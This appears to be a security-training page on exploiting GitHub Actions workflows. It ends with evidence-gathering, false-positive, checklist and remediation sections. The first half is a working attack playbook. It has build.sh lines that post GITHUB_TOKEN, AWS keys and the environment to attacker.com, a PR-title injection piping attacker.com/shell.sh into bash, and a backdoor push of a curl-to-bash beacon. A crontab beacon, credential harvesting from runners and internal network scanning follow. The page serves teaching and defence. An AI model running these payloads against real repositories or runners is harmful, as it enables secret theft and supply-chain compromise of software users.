GitHub Actions Exploitation
GitHub Actions is a prime target for supply chain attacks. Misconfigurations can leak secrets, enable code execution, and provide persistence in CI/CD pipelines.
Dangerous Event Triggers
| Trigger | Risk Level | Why It's Dangerous |
|---|---|---|
| pull_request_target | 🔴 CRITICAL | Runs with base repo secrets + attacker-controlled code |
| workflow_run | 🟠 HIGH | Can be triggered by untrusted workflows |
| issue_comment | 🟡 MEDIUM | Any user can trigger with comments |
| pull_request | 🟢 LOW | No secrets for forked PRs (safe default) |
pull_request_target Exploit
The Most Dangerous Misconfiguration
pull_request_target runs with full repo secrets even on forked PRs. If combined with actions/checkout of PR code, it's immediate RCE + secret theft.
# STEP 1: Find vulnerable workflow pattern
# Look for this in .github/workflows/*.yml:
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # 💀 VULNERABLE
# STEP 2: Fork the repo and create malicious PR
# Modify any script that gets executed:
# build.sh:
#!/bin/bash
curl -X POST -d "token=${{ secrets.GITHUB_TOKEN }}" https://attacker.com/steal
curl -X POST -d "aws=$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY" https://attacker.com/steal
env | curl -X POST -d @- https://attacker.com/env
# STEP 3: Create PR - secrets exfiltrated on CI runCommand Injection Vectors
User-controlled inputs that flow into run: commands are injectable:
Injectable Contexts
- github.event.pull_request.title
- github.event.pull_request.body
- github.event.issue.title
- github.event.issue.body
- github.event.comment.body
- github.head_ref (branch name)
Safe Contexts
- github.repository
- github.repository_owner
- github.actor (mostly)
- github.sha
- github.run_id
# VULNERABLE WORKFLOW:
- run: echo "Building: ${{ github.event.pull_request.title }}"
# PAYLOAD: Create PR with title:
a]"; curl https://attacker.com/shell.sh | bash; echo "
# Or use backticks in the title:
# $(curl attacker.com/x.sh|bash)
# RESULT: Your shell script executes with CI permissionsGitHub Actions Exploitation Flow
GITHUB_TOKEN Abuse
The auto-generated GITHUB_TOKEN has powerful permissions by default:
# Default GITHUB_TOKEN permissions (if not restricted):
# - contents: write (push code!)
# - pull-requests: write
# - issues: write
# - packages: write
# Exfiltrate the token
- run: |
curl -X POST -H "Content-Type: application/json" \
-d '{"token":"'${{ secrets.GITHUB_TOKEN }}'"}' \
https://attacker.com/collect
# Use stolen token to push backdoor:
git clone https://x-access-token:${GITHUB_TOKEN}@github.com/target/repo.git
cd repo
echo "curl attacker.com/beacon|bash" >> scripts/build.sh
git add . && git commit -m "Fix typo"
git push origin mainworkflow_run Exploitation
Indirect Attack
workflow_run triggers after another workflow completes. If the triggering workflow is attackable (e.g., runs on PRs), the downstream workflow inherits the attack.
# Target has two workflows:
# 1. untrusted-trigger.yml (runs on PRs - limited permissions)
on: pull_request
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- run: npm test
# 2. deploy.yml (runs after untrusted workflow - HAS SECRETS!)
on:
workflow_run:
workflows: ["Build"]
types: [completed]
jobs:
deploy:
if: github.event.workflow_run.conclusion == 'success'
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.workflow_run.head_sha }} # 💀 Checks out PR code!
- run: ./deploy.sh # Attacker controls this file
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }} # Exfiltrated!Self-Hosted Runner Attacks
Self-hosted runners are goldmines - they persist between jobs and often have network access to internal systems.
# If org allows forked PRs to run on self-hosted runners... game over
# 1. Persistence (survives between jobs)
echo '* * * * * curl attacker.com/beacon.sh | bash' | crontab -
# 2. Credential harvesting
# AWS credentials often available
cat ~/.aws/credentials
env | grep -i aws
env | grep -i azure
cat ~/.docker/config.json
# 3. Internal network pivot
# Runners often on internal network
nmap -sn 10.0.0.0/8 192.168.0.0/16 172.16.0.0/12
curl http://169.254.169.254/latest/meta-data/ # AWS metadata
# 4. Previous job artifacts
find /home/runner -name "*.env" -o -name "*.pem" -o -name "*.key"
cat /home/runner/work/_temp/*.sh # Workflow scripts
# 5. Source code from other repos
ls -la /home/runner/work/Enumeration & Recon
# Find all workflow files in a repo
find . -path ".github/workflows/*.yml" -o -path ".github/workflows/*.yaml"
# Search for dangerous patterns with grep
grep -r "pull_request_target" .github/workflows/
grep -r "github.event.pull_request.title" .github/workflows/
grep -r "github.event.issue.body" .github/workflows/
grep -r "workflow_run" .github/workflows/
grep -r "runs-on: self-hosted" .github/workflows/
# Check workflow permissions
grep -A5 "permissions:" .github/workflows/*.yml
# GitHub API - list workflows
curl -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/OWNER/REPO/actions/workflows
# Get workflow runs (check for secrets in logs)
curl -H "Authorization: token $GITHUB_TOKEN" \
https://api.github.com/repos/OWNER/REPO/actions/runsTools
Real-World: 3CX Supply Chain Attack (2023)
GitHub Actions Attack Labs
Build and exploit vulnerable GitHub Actions workflows.
📋 Framework Alignment
OWASP CI/CD: CICD-SEC-4 (Poisoned Pipeline Execution), CICD-SEC-6 (Insufficient Credential Hygiene) | MITRE ATT&CK: T1195.002 (Supply Chain: Software Supply Chain), T1059 (Command Execution) | SLSA: Build L1–L3 (Build platform integrity)
Evidence to Capture
A workflow finding has to survive the maintainer who wrote it. That means the workflow file at the commit that ran, the trigger that let an outsider reach it, and the log line proving the step executed with the token in scope.
Workflow file and revision:
The path under .github/workflows/ plus the full commit SHA the run used, so the finding cannot be closed by editing the file afterwards.
Trigger block: The on: stanza verbatim. pull_request_target, workflow_run and issue_comment are the ones that decide whether an outsider can reach the job at all.
Checkout reference: The ref: value passed to actions/checkout. A pull-request head SHA checked out under a privileged trigger is the finding in one line.
Log line and run identity: Step name, run ID, job name and the console excerpt showing the interpolated value or the command that executed. Anything the platform masked stays masked in the report.
Effective token scope:
The job permissions: block or, when it is absent, the repository default read from the API, plus the names of the secrets the job could read. Names only, never values.
Runner identity: The runs-on label and whether it is self-hosted. A self-hosted label moves the blast radius from one build to a persistent host on your network.
Likely False Positives
Most workflow alerts die here: the control that would have stopped the attack lives outside the YAML file.
-
Repository default is read-only:
If the repository default
GITHUB_TOKENpermission iscontents: readand the job does not widen it, a token-theft step yields nothing worth a finding. - Environment protection rules: A job that targets a protected environment with required reviewers cannot be driven by an unsolicited pull request, even under pull_request_target.
- OIDC instead of stored secrets: A workflow that federates to the cloud holds no long-lived key to steal. The finding becomes trust-policy scope, which belongs to the OIDC page, not this one.
- Fork workflows gated by approval: A repository that requires maintainer approval before fork runs removes the outsider trigger, leaving only an insider path you should score separately.
-
Value is not attacker-controlled:
An expression inside
run:is only injection when the context is user-writable.github.repository,github.shaandgithub.run_idare not. - Push protection already blocked it: If secret scanning push protection rejected the commit, the credential never entered history and there is nothing to revoke.
Testing Checklist
Workflow surface
- ☐ Every workflow file read, not just the one the finding names
- ☐ Trigger stanza recorded for each job that handles external input
- ☐ Checkout ref compared against the trigger that reached the job
- ☐ Expressions inside run: blocks traced back to a user-writable context
- ☐ Reusable workflows and composite actions followed to their source
Token and secrets
- ☐ Effective permissions block captured per job, not per file
- ☐ Repository default permission confirmed from the API
- ☐ Secrets enumerated by name with their scope (repo, org, environment)
- ☐ OIDC usage noted so the finding is scoped to trust policy, not key theft
- ☐ Artifact and cache writes reviewed for a path back into a release
Runner and execution
- ☐ Self-hosted labels identified and mapped to hosts you can name
- ☐ Runner persistence checked for scheduled jobs and leftover files
- ☐ Network reach from the runner recorded as part of the impact statement
- ☐ Job concurrency and artifact sharing reviewed for cross-run contamination
- ☐ Retention of run logs confirmed so the evidence still exists next week
Remediation
Workflow hardening
- • Move untrusted code out of privileged triggers: keep
pull_request_targetfor labelling and comment handling only, and never check out the pull-request head under it. - • Pass user-writable context through an
env:variable and reference it as a shell variable, so the value cannot break out of the command. - • Declare
permissions:explicitly at job level and default the repository to read-only, so a compromised step holds nothing worth exfiltrating. - • Gate production jobs behind a protected environment with required reviewers rather than relying on trigger choice alone.
Identity and runner
- • Replace stored cloud keys with OIDC federation, then scope the cloud trust policy to a specific
subclaim covering repository, ref and environment. - • Use ephemeral runners for anything reachable from a fork, and treat a self-hosted runner as a host with your network position, because it is one.
- • Pin third-party actions to a commit SHA rather than a tag, and mirror the ones you depend on if the upstream tag can move under you.
CWE References: CWE-78, CWE-829, CWE-522